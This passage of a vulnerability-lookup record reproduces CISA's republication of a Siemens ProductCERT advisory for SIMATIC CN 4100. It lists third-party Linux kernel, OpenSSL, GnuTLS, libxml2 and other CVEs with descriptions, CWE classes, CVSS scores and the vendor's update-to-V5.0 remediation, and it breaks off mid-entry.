https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "98375f77-8733-45e8-807b-8160fe59335a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21945", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | 